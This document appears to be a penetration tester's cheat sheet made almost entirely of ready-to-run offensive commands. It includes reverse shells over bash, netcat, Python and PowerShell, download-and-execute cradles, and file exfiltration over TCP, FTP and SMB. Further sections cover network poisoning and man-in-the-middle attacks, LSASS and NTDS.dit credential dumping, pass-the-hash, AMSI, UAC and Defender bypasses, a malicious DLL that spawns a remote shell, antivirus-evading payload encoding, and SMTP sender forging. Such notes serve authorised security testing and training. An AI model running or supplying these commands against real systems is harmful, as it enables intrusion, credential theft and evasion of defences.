- TOC {:toc}
root@kali:$ bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
root@kali:$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f
root@kali:$ {nc.tradentional|nc|ncat|netcat} <LHOST> <LPORT> {-e|-c} /bin/bash
root@kali:$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);s.close()'
root@kali:$ python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()'
root@kali:$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);s.close()'
root@kali:$ python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()'
Invoke-Expression (UTF-16LE):
root@kali:$ echo -n "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/[1]')" | iconv -t UTF-16LE | base64 -w0; echo
PS > powershell -NoP -EncodedCommand <BASE64_COMMAND_HERE>
Invoke-WebRequest + nc.exe
[1]:
PS > powershell -NoP IWR -Uri http://127.0.0.1/nc.exe -OutFile C:\Windows\Temp\nc.exe
PS > cmd /c C:\Windows\Temp\nc.exe 127.0.0.1 1337 -e powershell
System.Net.Sockets.TCPClient:
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.234",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
PowerShell + msfvenom:
root@kali:$ msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 LHOST=127.0.0.1 LPORT=1337 -f exe > met.exe
PS > (New-Object Net.WebClient).DownloadFile("met.exe", "$env:TEMP\met.exe")
...start metasploit listener...
PS > Start-Process "$env:TEMP\met.exe"
PowerShell + unicorn [1]:
root@kali:$ ./unicorn.py windows/meterpreter/reverse_https LHOST 443
root@kali:$ service postgresql start
root@kali:$ msfconsole -r unicorn.rc
PS > powershell -NoP IEX (New-Object Net.WebClient).DownloadString('powershell_attack.txt')
root@kali:$ {nc.tradentional|nc|ncat|netcat} [-6] -lvnp <LPORT>
$ python -c 'import pty; pty.spawn("/bin/bash")'
Or
$ script -q /dev/null sh
user@remote:$ ^Z
(background)
root@kali:$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'
(get ROWS and COLS)
root@kali:$ stty raw -echo; fg
(?) user@remote:$ reset
user@remote:$ stty rows ${ROWS} cols ${COLS}
user@remote:$ export TERM=xterm
(or xterm-color or xterm-256color)
(?) user@remote:$ exec /bin/bash [-l]
Local file to base64:
Cmd > certutil -encode <FILE_TO_ENCODE> C:\Windows\Temp\encoded.b64
Cmd > type C:\Windows\Temp\encoded.b64
Local string to base64 and POST:
PS > $str = cmd /c net user /domain
PS > $base64str = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
PS > Invoke-RestMethod -Uri http://127.0.0.1/msg -Method POST -Body $base64str
# Sender:
root@kali:$ tar -zcvf folder.tar.gz folder
root@kali:$ nc -w3 -lvnp 1234 < file.txt
# Recipient:
www-data@victim:$ bash -c 'cat < /dev/tcp/127.0.0.1/1234 > .folder.tar.gz'
www-data@victim:$ tar -zxvf .folder.tar.gz
# Recipient:
root@kali:$ nc -w3 -lvnp 1234 > file.txt
# Sender:
www-data@victim:$ bash -c 'cat < file.txt > /dev/tcp/127.0.0.1/1234'
Full base64 file transfer from Linux to Windows:
root@kali:$ base64 -w0 tunnel.aspx; echo
...BASE64_CONTENTS...
PS > Add-Content -Encoding UTF8 tunnel.b64 "<BASE64_CONTENTS>" -NoNewLine
PS > $data = Get-Content -Raw tunnel.b64
PS > [IO.File]::WriteAllBytes("C:\inetpub\wwwroot\uploads\tunnel.aspx", [Convert]::FromBase64String($data))
SMB server (communicate with Windows [1]):
root@kali:$ impacket-smbserver -smb2support files `pwd`
Mount SMB in Windows with net use
:
root@kali:$ impacket-smbserver -username snovvcrash -password 'Passw0rd!' -smb2support share `pwd`
PS > net use Z: \\10.10.14.16\share
PS > net use Z: \\10.10.14.16\share /u:snovvcrash 'Passw0rd!'
Mount SMB in Windows with New-PSDrive
:
root@kali:$ impacket-smbserver -username snovvcrash -password 'Passw0rd!' -smb2support share `pwd`
PS > $pass = 'Passw0rd!' | ConvertTo-SecureString -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential('snovvcrash', $pass)
Or
PS > $cred = New-Object System.Management.Automation.PSCredential('snovvcrash', $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force))
PS > New-PSDrive -name Z -root \\10.10.14.16\share -Credential $cred -PSProvider 'filesystem'
PS > cd Z:
Cmd > net share pentest=c:\smb_pentest /GRANT:"Anonymous Logon,FULL" /GRANT:"Everyone,FULL"
Or
Cmd > net share pentest=c:\smb_pentest /GRANT:"Administrator,FULL"
Cmd > net share pentest /delete
$ python -m pip install pyftpdlib
$ python -m pyftpdlib -Dwp 2121
Cmd > cd C:\Windows\System32\spool\drivers\color
Cmd > echo 'open 127.0.0.1 2121' > ftp.txt
Cmd > echo 'user anonymous' >> ftp.txt
Cmd > echo 'anonymous' >> ftp.txt
Cmd > echo 'binary' >> ftp.txt
Cmd > echo 'put file.bin' >> ftp.txt
Cmd > echo 'bye' >> ftp.txt
Cmd > ftp -v -n -s:ftp.txt
While connected via SSH:
$ tcpdump -i eth0 -w dump.pcap -s0 'not tcp port 22' &
- www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- github.com/SpiderLabs/Responder
- github.com/lgandx/Responder
$ git clone https://github.com/lgandx/Responder
$ sudo ./Responder.py -I eth0 -wfrdv
$ curl -L https://github.com/Kevin-Robertson/Inveigh/raw/master/Inveigh.ps1 > inveigh.ps1
PS > Invoke-Inveigh [-IP '10.10.13.37'] -ConsoleOutput Y -FileOutput Y –NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y
$ curl -L https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_x64/Inveigh.exe > inveigh.exe
PS > .\inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y
Enable IP forwarding:
$ sudo sysctl -w net.ipv4.ip_forward=1
(sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward')
(edit /etc/sysctl.conf "net.ipv4.ip_forward = 1" to make it permanent)
Install:
$ sudo apt install dsniff -y
Fire up the attack with Wireshark (filter ip.src == VICTIM_10.0.0.5
) running:
$ sudo arpspoof -c both -t VICTIM_10.0.0.5 GATEWAY_10.0.0.1
- github.com/bettercap/bettercap
- www.bettercap.org/modules/
- linuxhint.com/install-bettercap-on-ubuntu-18-04-and-use-the-events-stream/
- hackernoon.com/man-in-the-middle-attack-using-bettercap-framework-hd783wzy
- www.cyberpunk.rs/bettercap-usage-examples-overview-custom-setup-caplets
Deb dependencies (Ubuntu 18.04 LTS):
- libpcap0.8_1.8.1-6ubuntu1_amd64.deb
- libpcap0.8-dev_1.8.1-6ubuntu1_amd64.deb
- libpcap-dev_1.8.1-6ubuntu1_amd64.deb
- pkg-config_0.29.1-0ubuntu2_amd64.deb
- libnetfilter-queue1_1.0.2-2_amd64.deb
- libnfnetlink-dev_1.0.1-3_amd64.deb
- libnetfilter-queue-dev_1.0.2-2_amd64.deb
- github.com/fox-it/mitm6
- blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/
- intrinium.com/mitm6-pen-testing/
$ git clone https://github.com/fox-it/mitm6
$ python3 setup.py install
$ sudo mitm6.py -i eth0 -d megacorp.local
$ sudo impacket-smbserver -smb2support share `pwd`
Decrypt TightVNC password:
root@kali:$ msdbrun -q
msf > irb
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["f0f0f0f0f0f0f0f0"].pack('H*'), fixedkey
=> "<DECRYPTED>"
Mount:
root@kali:$ mount -t cifs '//127.0.0.1/Users' /mnt/smb -v -o user=snovvcrash,[pass='Passw0rd!']
Status:
root@kali:~# mount -v | grep 'type cifs'
root@kali:~# root@kali:~# df -k -F cifs
Unmount:
root@kali:~# umount /mnt/smb
Null authentication:
root@kali:$ smbclient -N -L 127.0.0.1
root@kali:$ smbclient -N '\\127.0.0.1\Data'
With user creds:
root@kali:$ smbclient -U snovvcrash '\\127.0.0.1\Users' 'Passw0rd!'
Null authentication:
root@kali:$ smbmap -H 127.0.0.1 -u anonymous -R
root@kali:$ smbmap -H 127.0.0.1 -u null -p "" -R
root@kali:$ showmount -e 127.0.0.1
root@kali:$ mount -t nfs 127.0.0.1:/home /mnt/nfs -v -o user=snovvcrash,[pass='Passw0rd!']
Basic syntax:
$ ldapsearch -h 127.0.0.1 -x -s <SCOPE> -b <BASE_DN> <QUERY> <FILTER> <FILTER> <FILTER>
Get base naming contexts:
$ ldapsearch -h 127.0.0.1 -x -s base namingcontexts
Extract data for the whole domain catalog and then grep your way through:
$ ldapsearch -h 127.0.0.1 -x -s sub -b "DC=megacorp,DC=local" |tee ldap.out
$ cat ldap.out |grep -i memberof
Or filter out only what you need:
$ ldapsearch -h 127.0.0.1 -x -b "DC=megacorp,DC=local" '(objectClass=User)' sAMAccountName sAMAccountType
Get Remote Management Users
group:
$ ldapsearch -h 127.0.0.1 -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management Users,OU=Groups,OU=UK,DC=megacorp,DC=local)' |grep -i memberof
Dump LAPS passwords:
$ ldapsearch -h 127.0.0.1 -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd
Simple authentication with ldapsearch:
$ ldapsearch -H ldap://127.0.0.1:389/ -x -D 'CN=username,CN=Users,DC=megacorp,DC=local' -w 'Passw0rd!' -s sub -b 'DC=megacorp,DC=local' |tee ldapsearch.log
Analyze large output for anomalies by searching for unique strings:
$ cat ldapsearch.log | awk '{print $1}' | sort | uniq -c | sort -nr
$ git clone https://github.com/shellster/LDAPPER
$ sudo python3 -m pip install -r requirements.txt
Enumerate all AD Computers:
./windapsearch.py -u 'megacorp.local\snovvcrash' -p 'Passw0rd!' --dc 127.0.0.1 -C
$ nmap -n -Pn --script=ldap-rootdse 127.0.0.1 -p389
$ nmap -n -Pn --script=ldap-search 127.0.0.1 -p389
$ nmap -n -Pn --script=ldap-brute 127.0.0.1 -p389
$ nmap -p 139,445 --script=/usr/share/nmap/scripts/smb-os-discovery --script-args=unsafe=1 127.0.0.1
root@kali:$ rpcclient -U '' -N 127.0.0.1
root@kali:$ rpcclient -U 'snovvcrash%Passw0rd!' 127.0.0.1
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
root@kali:$ enum4linux -v -a 127.0.0.1 | tee enum4linux.txt
$ git clone https://github.com/m8r0wn/nullinux ~/tools/nullinux && cd ~/tools/nullinux && sudo bash setup.sh && ln -s ~/tools/nullinux/nullinux.py /usr/local/bin/nullinux.py && cd -
$ nullinux.py 127.0.0.1
root@kali:$ samrdump.py 127.0.0.1
List all domain users:
PS > Get-ADUser -Filter * -SearchBase "DC=megacorp,DC=local" | select Name,SID
Or
PS > net user /DOMAIN
List all domain groups:
PS > Get-ADGroup -Filter * -SearchBase "DC=megacorp,DC=local" | select Name,SID
Or
PS > net group /DOMAIN
List all user's groups:
PS > Get-ADPrincipalGroupMembership snovvcrash | select Name
Create new domain user:
PS > net user snovvcrash Passw0rd! /ADD /DOMAIN
Or
PS > New-ADUser -Name snovvcrash -SamAccountName snovvcrash -Path "CN=Users,DC=megacorp,DC=local" -AccountPassword(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Enabled $true
Create new local user and add him to local admins:
PS > net user testuser Passw0rd! /add
PS > net localgroup administrators testuser /add
List deleted AD objects (AD recycle bin):
- activedirectorypro.com/enable-active-directory-recycle-bin-server-2016/
- blog.stealthbits.com/active-directory-object-recovery-recycle-bin/
PS > Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -IncludeDeletedObjects -Properties * |ft
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit -Overwrite
download ntds.dit
PS > cmd /c where robocopy
PS > robocopy /B W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit
- syfuhs.net/how-authentication-works-when-you-use-remote-desktop
- swarm.ptsecurity.com/remote-desktop-services-shadowing/
Enable RDP from meterpreter:
meterpreter > run getgui -e
Enable RDP from PowerShell:
PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
PS > Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1
- https://www.kali.org/penetration-testing/passing-hash-remote-desktop/
- https://blog.ahasayen.com/restricted-admin-mode-for-rdp/
- https://labs.f-secure.com/blog/undisable/
- https://shellz.club/pass-the-hash-with-rdp-in-2019/
RDP with PtH: RDP needs a plaintext password unless Restricted Admin mode is enabled.
Enable Restricted Admin mode:
PS > Get-ChildItem -Recurse HKLM:\System\CurrentControlSet\Control\Lsa
PS > Get-Item HKLM:\System\CurrentControlSet\Control\Lsa
PS > New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name "DisableRestrictedAdmin" -Value 0 -PropertyType "DWORD"
PS > Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name "DisableRestrictedAdmin"
Disable NLA:
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
PS > runas /netonly /user:snovvcrash powershell
- www.bloggingforlogging.com/2018/01/24/demystifying-winrm/
- www.powershellmagazine.com/2014/03/06/accidental-sabotage-beware-of-credssp/
- www.ired.team/offensive-security/credential-access-and-credential-dumping/network-vs-interactive-logons
Install:
$ git clone https://github.com/Hackplayers/evil-winrm ~/tools/evil-winrm
$ cd ~/tools/evil-winrm && bundle install && cd -
$ ln -s ~/tools/evil-winrm/evil-winrm.rb /usr/local/bin/evil-winrm.rb
Or
$ gem install evil-winrm
Run:
$ evil-winrm.rb -u snovvcrash -p 'Passw0rd!' -i 127.0.0.1 -s `pwd` -e `pwd`
root@kali:$ psexec.py snovvcrash:'Passw0rd!'@127.0.0.1
root@kali:$ psexec.py -hashes :6bb872d8a9aee9fd6ed2265c8b486490 [email protected]
root@kali:$ wmiexec.py snovvcrash:'Passw0rd!'@127.0.0.1
root@kali:$ wmiexec.py -hashes :6bb872d8a9aee9fd6ed2265c8b486490 [email protected]
PS C:\Windows\System32 > Get-Process lsass
PS C:\Windows\System32 > .\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 940 C:\temp\lsass.dmp full
- docs.microsoft.com/en-us/sysinternals/downloads/procdump
- download.sysinternals.com/files/Procdump.zip
Dump and parse:
PS > .\procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp
$ pypykatz lsa minidump lsass.dmp > lsass-pypykatz.minidump
Or
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords full
Grep for secrets:
(mimikatz)
$ grep '* Username : ' lsass-mimikatz.minidump -A2 | grep -e Username -e Password -e NTLM | grep -v null | xclip -i -sel c
(pypykatz)
$ grep -P '\tusername ' lsass-pypykatz.minidump -A2 | grep -e username -e password | grep -v None | xclip -i -sel c
$ grep -P 'Username: ' lsass-pypykatz.minidump -A4 | grep -e Username -e Domain -e NT | grep -v None | xclip -i -sel c
Locate diskshadow.exe
:
cmd /c where /R C:\ diskshadow.exe
Create shadow volume:
powershell -c "Add-Content add_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content add_vol.txt 'set metadata C:\Windows\Temp\meta.cab'"
powershell -c "Add-Content add_vol.txt 'set verbose on'"
powershell -c "Add-Content add_vol.txt 'begin backup'"
powershell -c "Add-Content add_vol.txt 'add volume c: alias DCROOT'"
powershell -c "Add-Content add_vol.txt 'create'"
powershell -c "Add-Content add_vol.txt 'expose %DCROOT% w:'"
powershell -c "Add-Content add_vol.txt 'end backup'"
cmd /c diskshadow.exe /s add_vol.txt
// add_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
begin backup
add volume c: alias DCROOT
create
expose %DCROOT% w:
end backup
Exfiltrate over SMB:
mkdir C:\smb_pentest
copy w:\Windows\NTDS\ntds.dit C:\smb_pentest\ntds.dit
cmd /c reg.exe save hklm\system C:\smb_pentest\system.hive
cmd /c reg.exe save hklm\sam C:\smb_pentest\sam.hive
cmd /c reg.exe save hklm\security C:\smb_pentest\security.hive
cmd /c net share pentest=c:\smb_pentest /GRANT:"Everyone,FULL"
$ smbclient.py 'snovvcrash:[email protected]'
# use pentest
# get ntds.dit
# get system.hive
# get sam.hive
# get security.hive
Delete shadow volume:
powershell -c "Add-Content delete_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content delete_vol.txt 'set metadata C:\Windows\Temp\meta.cab'"
powershell -c "Add-Content delete_vol.txt 'set verbose on'"
powershell -c "Add-Content delete_vol.txt 'unexpose w:'"
powershell -c "Add-Content delete_vol.txt 'delete shadows volume c:'"
powershell -c "Add-Content delete_vol.txt 'reset'"
cmd /c diskshadow.exe /s delete_vol.txt
// delete_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
unexpose w:
delete shadows volume c:
reset
Clean up:
cmd /c net share pentest /delete
rm -re -fo C:\smb_pentest
rm C:\Windows\Temp\meta.cab
rm add_vol.txt
rm delete_vol.txt
Parse secrets:
$ secretsdump.py -sam sam.hive -system system.hive -security security.hive -ntds ntds.dit LOCAL
[SMB] NTLMv1 Hash
and [SMB] NTLMv1-SSP Hash
capture structure:
<Username>:<Domain>:<LMv1_Response>:<NTv1_Response>:<Server_Challenge>
[SMB] NTLMv2-SSP Hash
capture structure:
<Username>:<Domain>:<Server_Challenge>:<LMv2_Response>:<NTv2_Response>
- github.com/lgandx/Responder/blob/eb449bb061a8eb3944b96b157de73dea444ec46b/servers/SMB.py#L149
- ru.wikipedia.org/wiki/NTLMv2#NTLMv2
- www.ivoidwarranties.tech/posts/pentesting-tuts/responder/cheatsheet/
- Andrei Miroshnikov. Windows Security Monitoring: Scenarios and Patterns, Part III, pp. 330-333.
- blog.fox-it.com/2017/05/09/relaying-credentials-everywhere-with-ntlmrelayx/
- blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
- intrinium.com/smb-relay-attack-tutorial/
- www.sans.org/blog/smb-relay-demystified-and-ntlmv2-pwnage-with-python/
- byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire
- www.blackhillsinfosec.com/an-smb-relay-race-how-to-exploit-llmnr-and-smb-message-signing-for-fun-and-profit/
- clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/
Generate relay list with CME and enumerate local admins when relaying
$ crackmapexec smb 192.168.2.0/24 --gen-relay-list out.txt
$ sudo ntlmrelayx.py -smb2support --no-http-server -tf out.txt --enum-local-admins
- blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
- bestestredteam.com/2019/01/27/powershell-execution-policy-bypass/
- AMSI.fail
- github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
- www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
*Evil-WinRM* PS > menu
*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))
PS > IEX(New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/snovvcrash/5c9ee38bb9a8802a674ec3d3d33b4717/raw/5c77510505f505db8ac1453c60ee6fc34a8e6d59/Bypass-AMSI.ps1')
PS > Bypass-AMSI
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved) {
switch(dwReason) {
case DLL_PROCESS_ATTACH:
WinExec("C:\\Users\\<USERNAME>\\Documents\\nc.exe 10.10.14.16 1337 -e powershell", 0);
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return 0;
}
Compile on Kali:
root@kali:$ i686-w64-mingw32-g++ main.c -lws2_32 -o srrstr.dll -shared
Upload srrstr.dll
to C:\Users\%USERNAME%\AppData\Local\Microsoft\WindowsApps\srrstr.dll
and check it:
PS > rundll32.exe srrstr.dll,xyz
Exec and get a shell ("requires an interactive window station"):
PS > cmd /c C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
PS > IEX(New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/snovvcrash/362be57caaa167e7f5667156ac80f445/raw/1990959bc80b56179863aede06695bc499249744/Bypass-UAC.ps1')
PS > Bypass-UAC
- hacker.house/lab/windows-defender-bypassing-for-meterpreter/
- codeby.net/threads/meterpreter-snova-v-dele-100-fud-with-metasploit-5.66730/
- github.com/phackt/stager.dll
- [hausec.com/2019/02/09/suck-it-windows-defender/]https://hausec.com/2019/02/09/suck-it-windows-defender/)
- medium.com/securebit/bypassing-av-through-metasploit-loader-32-bit-6d62930151ad
- medium.com/securebit/bypassing-av-through-metasploit-loader-64-bit-9abe55e3e0c8
root@kali:$ msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -a x86 --platform win -e x86/shikata_ga_nai -i 3 -f exe -o rev.exe
root@kali:$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 -e x86/shikata_ga_nai -i 9 -f raw | msfvenom --platform windows -a x86 -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -k -f exe -o met.exe
Hyperion + Pescramble
root@kali:$ wine hyperion.exe input.exe output.exe
root@kali:$ wine PEScrambler.exe -i input.exe -o output.exe
Install and generate a payload:
root@kali:$ git clone https://github.com/GreatSCT/GreatSCT ~/tools/GreatSCT
root@kali:$ cd ~/tools/GreatSCT/setup
root@kali:$ ./setup.sh
root@kali:$ cd .. && ./GreatSCT.py
...generate a payload...
root@kali:$ ls -la /usr/share/greatsct-output/handlers/payload.{rc,xml}
root@kali:$ msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
Exec with msbuild.exe
and get a shell:
PS > cmd /c C:\Windows\Microsoft.NET\framework\v4.0.30319\msbuild.exe payload.xml
$ git clone https://github.com/Genetic-Malware/Ebowla ~/tools/Ebowla && cd ~/tools/Ebowla
$ sudo apt install golang mingw-w64 wine -y
$ sudo python -m pip install configobj pyparsing pycrypto pyinstaller
$ sudo msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.167 LPORT=1337 --platform win -f exe -a x64 -o rev.exe
$ vi genetic.config
...Edit output_type, payload_type, clean_output, [[ENV_VAR]]...
$ python ebowla.py rev.exe genetic.config && rm rev.exe
$ ./build_x64_go.sh output/go_symmetric_rev.exe.go ebowla-rev.exe [--hidden] && rm output/go_symmetric_rev.exe.go
[+] output/ebowla-rev.exe
- github.com/danielbohannon/Invoke-Obfuscation
- www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-usage-guide
- github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-EncryptedScript.ps1
- powersploit.readthedocs.io/en/latest/ScriptModification/Out-EncryptedScript/
Download:
$ curl -L https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-EncryptedScript.ps1 > outenc.ps1
Use:
PS > Out-EncryptedScript .\script.ps1 $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) s4lt -FilePath .\evil.ps1
PS > [string] $cmd = gc .\evil
PS > $dec = de "Passw0rd!" s4lt
PS > Invoke-Expression $dec
Disable from command line (must be elevated):
PS > Set-MpPreference -DisableRealTimeMonitoring $true
Add path to exclusions (must be elevated):
PS > $mimi = "C:\Users\snovvcrash\music\mimi\x64\mimikatz.exe"
PS > Add-MpPreference -ExclusionPath $mimi -AttackSurfaceReductionOnlyExclusions $mimi
Remove signatures (if Internet connection is present, it will be downloaded again):
PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
Download stager with triggering Defender to scan it:
PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -DownloadFile -Url http://127.0.0.1/met.exe -Path C:\Users\snovvcrash\music\met.exe
root@kali:$ gem install pry-byebug
root@kali:$ vi ~/.pry-byebug
...
if defined?(PryByebug)
Pry.commands.alias_command 'c', 'continue'
Pry.commands.alias_command 's', 'step'
Pry.commands.alias_command 'n', 'next'
Pry.commands.alias_command 'f', 'finish'
end
# Hit Enter to repeat last command
Pry::Commands.command /^$/, "repeat last command" do
_pry_.run_command Pry.history.to_a.last
end
...
root@kali:$ cp -r /usr/share/metasploit-framework/ /opt
root@kali:$ vi /opt/metasploit-framework/msfconsole
...add "require 'pry-byebug'"...
root@kali:$ mkdir -p ~/.msf4/modules/exploits/linux/http/
root@kali:$ cp /usr/share/metasploit-framework/modules/exploits/linux/http/packageup.rb ~/.msf4/modules/exploits/linux/http/p.rb
root@kali:$ vi ~/.msf4/modules/exploits/linux/http/p.rb
...add "binding.pry"...
site:example.com filetype:(doc | docx | docm | xls | xlsx | xlsm | ppt | pptx | pptm | pdf | rtf | odt | xml | txt)
site:example.com ext:(config | cfg | ini | log | bak | backup | dat)
site:example.com ext:(php | asp | aspx)
"@example.com" email e-mail
dig:
root@kali:$ dig $(dig -x 127.0.0.1 | grep PTR | tail -n 1 | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}').origin.asn.cymru.com TXT +short
whois:
root@kali:$ whois -h whois.cymru.com -- '-v 127.0.0.1'
root@kali:$ whois -h whois.radb.net 127.0.0.1
whois:
root@kali:$ whois -h whois.cymru.com -- '-v AS48666'
root@kali:$ whois -h whois.radb.net AS48666
IP/domain info, IP ranges:
root@kali:$ whois [-h whois.example.com] example.com или 127.0.0.1
General:
root@kali:$ dig [@dns.example.com] example.com [{any,a,mx,ns,soa,txt,...}]
root@kali:$ dig -x example.com [+short] [+timeout=1]
Zone transfer:
root@kali:$ dig axfr @dns.example.com example.com
root@kali:$ nslookup example.com (или 127.0.0.1 для PTR)
root@kali:$ nslookup
[> server dns.example.com]
> set q=mx
> example.com
root@kali:$ nslookup
> set q=ptr
> 127.0.0.1
Check:
$ host facebook.com ns.example.com
$ dig +short @ns.example.com test.openresolver.com TXT
$ nmap -sU -p53 --script=dns-recursion ns.example.com
Check if sender could be forged with an domain user:
$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
RCPT TO: <[email protected]>
Check if sender could be forged with a non-domain user:
$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
RCPT TO: <[email protected]>
Check if domain users could be enumerated with VRFY
and EXPN
:
$ telnet mail.example.com 25
HELO example.com
VRFY [email protected]
EXPN [email protected]
Check if users could be enumerated with RCPT TO
:
$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <...>
RCPT TO: <[email protected]>
DATA
From: <...>
To: <[email protected]>
Subject: Job offer
Hello, I would like to offer you a great job!
.
QUIT
